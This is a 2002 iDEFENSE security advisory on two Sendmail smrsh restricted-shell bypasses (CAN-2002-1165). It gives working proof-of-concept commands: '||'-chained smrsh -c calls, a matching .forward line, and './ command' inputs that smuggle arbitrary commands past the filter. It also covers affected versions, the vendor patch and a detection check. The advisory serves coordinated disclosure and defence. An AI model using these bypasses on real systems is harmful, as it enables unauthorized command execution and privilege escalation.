-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 iDEFENSE Security Advisory 10.01.02 Sendmail smrsh bypass vulnerabilities DESCRIPTION It is possible for an attacker to bypass the restrictions imposed by The Sendmail Consortium’s Restricted Shell (SMRSH) and execute a binary of his choosing by inserting a special character sequence into his .forward file. SMRSH is an application intended as a replacement for sh for use in Sendmail. There are two attack methods both of which are detailed below. METHOD ONE This method takes advantage of the application's implementation of the '||' command. The process is best explained with an example: $ echo "echo unauthorized execute" > /tmp/unauth $ smrsh -c ". || . /tmp/unauth || ." /bin/sh: /etc/smrsh/.: is a directory unauthorized execute /tmp/unauth is executed despite the fact that it is not located in the SMRSH restricted directory /etc/smrsh. This happens because SMRSH first checks for '.', which exists, and does no further verification on the files listed after '||'. The same attack would look like the following in the attackers .forward file: "| . \|| . /tmp/unauth \|| ." METHOD TWO This method takes advantage of the following routine from smrsh.c: /* search backwards for last / (allow for 0200 bit) */ while (cmd > q) { if ((*--cmd & 0177) == '/') { cmd++; break; } } It is possible to feed SMRSH a command line that will be internally converted to a space thereby bypassing all filters, yet will still execute. Examples of these include: smrsh -c "/ command" smrsh -c "../ command" smrsh -c "./ command" smrsh -c "././ command" The listed routine will convert any of the above examples to a space. However, when the following execle() call is reached: (void) execle("/bin/sh", "/bin/sh", "-c", newcmdbuf, NULL, newenv); SMRSH will execute: /bin/sh -c command Notice that despite the double space ‘command’ will still execute. The .forward variation of this attack works the same way. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2002-1165 to this issue. ANALYSIS The following are required conditions for successful and meaningful exploitation of this vulnerability: - - - The target system must be utilizing SMRSH. - - - The attacker must have a valid local account on the system. - - - In method one the attacker must be able to create files. While this exploit obviously removes the restrictions imposed by SMRSH it also allows users to execute programs on systems that they do not have shell access to. Utilizing either of the above-described methods, an attacker who can modify his own .forward file can execute arbitrary commands on the target system with the privileges of his own account. Systems that forbid shell access generally do not have tightened local security, the ability to execute arbitrary commands through the SMRSH vulnerablity opens the target system to local privilege escalation attacks that otherwise would not be possible. DETECTION The latest versions of SMRSH are vulnerable. Including the version packaged with Sendmail 8.12.6 and Sendmail 8.11.6-15 (default install of Redhat 7.3). Older versions of SMRSH do not appear to be vulnerable (8.11 5/19/1998). The version of SMRSH available at ftp://ftp.uu.net/pub/security/smrsh is also not vulnerable. WORKAROUND Sendmail.org has provided a patch addressing the above-described issues. The patch is available for download at http://www.sendmail.org/patches/smrsh-20020924.patch. VENDOR FIX/RESPONSE Sendmail.org's official comment: "We would like to thank iDEFENSE, zen-parse, and Pedram Amini for bringing these problems to our attention. If you actually use a vulnerable smrsh version (which can be tested according to the descriptions given before), please apply the patch that has been made available. To figure out whether your configuration uses smrsh, check your sendmail.mc file, i.e., look for FEATURE(`smrsh') and check your sendmail.cf file (usually located in /etc/mail or /etc): grep '^Mprog.*smrsh' sendmail.cf Also consider whether you actually need this feature, e.g., if you make procmail available to your users then smrsh is basically useless." DISCLOSURE TIMELINE 9/1/2002 Disclosed to iDEFENSE 9/24/2002 Disclosed to sendmail-bugs@sendmail.org 9/24/2002 Disclosed to iDEFENSE clients 9/24/2002 Response from Greg Shapiro gshapiro@sendmail.org 9/25/2002 Coordination from Claus Assmann ca@sendmail.org 10/1/2002 Public Coordinated Disclosure CREDIT Method One was exclusively disclosed to iDEFENSE by zen-parse (zen-parse@gmx.net) Method Two was discovered during the verification process by Pedram Amini (pamini@idefense.com) Get paid for security research http://www.idefense.com/contributor.html Subscribe to iDEFENSE Advisories: send email to listserv@idefense.com, subject line: "subscribe" - -dave David Endler, CISSP Director, Technical Intelligence iDEFENSE, Inc. 14151 Newbrook Drive Suite 100 Chantilly, VA 20151 voice: 703-344-2632 fax: 703-961-1071 dendler@idefense.com www.idefense.com -----BEGIN PGP SIGNATURE----- Version: PGP 7.1.2 Comment: http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x4B0ACC2A iQA/AwUBPZnxEErdNYRLCswqEQLrkACdHdU6cpv+NEzsJPi4ZZQxe2iy2NkAoKn0 ddyu8Js8PWZ/LMCNh+hYejfz =CEof -----END PGP SIGNATURE-----